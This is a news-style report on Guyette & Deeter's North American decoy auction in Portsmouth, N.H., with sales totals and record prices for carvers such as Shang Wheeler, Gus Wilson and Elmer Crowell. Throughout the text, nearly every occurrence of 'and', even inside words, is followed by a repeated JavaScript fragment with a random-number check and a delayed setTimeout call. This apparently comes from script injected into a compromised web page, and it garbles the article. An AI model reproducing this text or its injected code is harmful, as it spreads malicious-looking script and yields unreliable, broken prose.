By: Allyson Lee

PORTSMOUTH, N.H. — To truly understandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the breadth of Decoy Week, one could not miss Guyette & Deeter’s North American decoys at auction at the Sheraton Harborside Hotel. The three-day extravaganza opened on Monday, July 28, with a complimentary cocktail reception, followed by sales July 29–30.

For those wondering whether there was a hospitality event, the answer is “of course.” Guyette andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Deeter not only catered a nice lunch during the auction sessions with clam chowder andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and wonderful blueberry crisp, they also treated guests to a Portsmouth Harbor Cruise. These decoy folks really know how to enjoy life.

The two-day auction grossed $2.2 million in sales with 50 percent sold over the phone, 11 percent to the Internet andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 39 percent to bidders in the room. Gary Guyette, one of the auction house principals, reasons that “Our buyer’s premium remaining at 15 percent, while some auction houses have raised theirs to 20 percent andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and even 25 percent, has resulted in larger, more enthusiastic buying crowds at our sales,” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “we receive thousandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands of decoys from all over the United States andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Canada. The majority is fresh merchandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andise from estates which gives us the opportunity to sell most items unreserved.”

The auction included decoys from several prominent collections, including William Grossman, the Mergargee family, Jim Rose, Doug Knight, Carl Pryor andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Harry Seitz. James D. Julia, a Maine auctioneer known across the country for his exuberant style andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and colorful anecdotes, commandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anded the podium, readily drawing a mixture of laughter as well as swift bidding from the packed salesroom.

The sale began with a collection of contemporary carvings, including examples by Jim Schmiedlin andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Delbert “Cigar” Daisey. The fun began when 22 lots into the sale, a rare oversized merganser drake by venerated Maine carver Gus Wilson (1864–1950), sparked competitive bidding between a well-known collector in the room andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a phone bidder, before finally settling at $103,500, far beyond its $40/60,000 presale estimate. Soon after, a rigmate pair of mergansers by Orlandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ando Bibber (1882–1971), another Maine carver, achieved $69,000. The fresh-to-the-market pair were acquired by the consignor directly from the Bibber family andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and have never been offered for public sale, making them very desirable.

The prize-winning bird of the auction was a presentation black duck by Connecticut carver Charles “Shang” Wheeler (1872–1949). The duck, described by Wheeler as “wide andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and flat as Doctor Burke would like it, with a life-like pose as Lynn Hunt would like it, painted something like a black duck as I would like it andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a bit oversized so you will like it” was one of only three known examples carved by the artist andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and presented to his friends. This example was a gift to author Eugene V. Connett andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and exceeded estimate to bring $115,000.

Other notable results included a circa 1932 Ward Brothers pinch breasted pintail drake from an old California collection, which brought $77,625, while a rare pintail drake by California carver John Luedtke (1901–1956) achieved an auction record for the maker when it fetched $12,650. A blue wing teal hen, carved by James Holly (1855–1935) of Havre de Grace, Md., was as fresh to the market as they come, having been recently discovered in a Charlestown, Md., ice house. The circa 1890 teal went out at $32,775.

Shorebirds were well represented, with a rare “dust jacket” style plover by Massachusetts carver Elmer Crowell (1864–1954) selling just below estimate for $109,250, the second highest price of the auction. The bird, commissioned for Harry Long of Cohasset, Mass., was previously sold with Long’s prized collection in 2009 by another auction house. A dowitcher in summer plumage attributed to the mysterious John Dilley, a late Nineteenth Century carver said to have been from Long Islandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, N.Y., brought a respectable $57,500 — a handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andsome price considering so little is known about the maker.

In addition to decoys, the sale included a handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andful of folk art lots, including a whimsical 30-inch Tolson carving of Uncle Sam that achieved $13,800, just over estimate. The figure was fashioned by famed Kentucky carver Edgar Tolson (1904–1984), an artist widely exhibited throughout the 1960–80s, including the Whitney Museum of American Art in 1973.

“Collecting decoys can be intimidating for new buyers,” said Jon Deeter, “We work hard to understandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and what our clients are interested in andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and then help them make the best decision to achieve their collecting goals.”

All prices reported include the buyer’s premium. For more information, 410-745-0485, 440-610-1768 or www.guyetteandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anddeeter.com.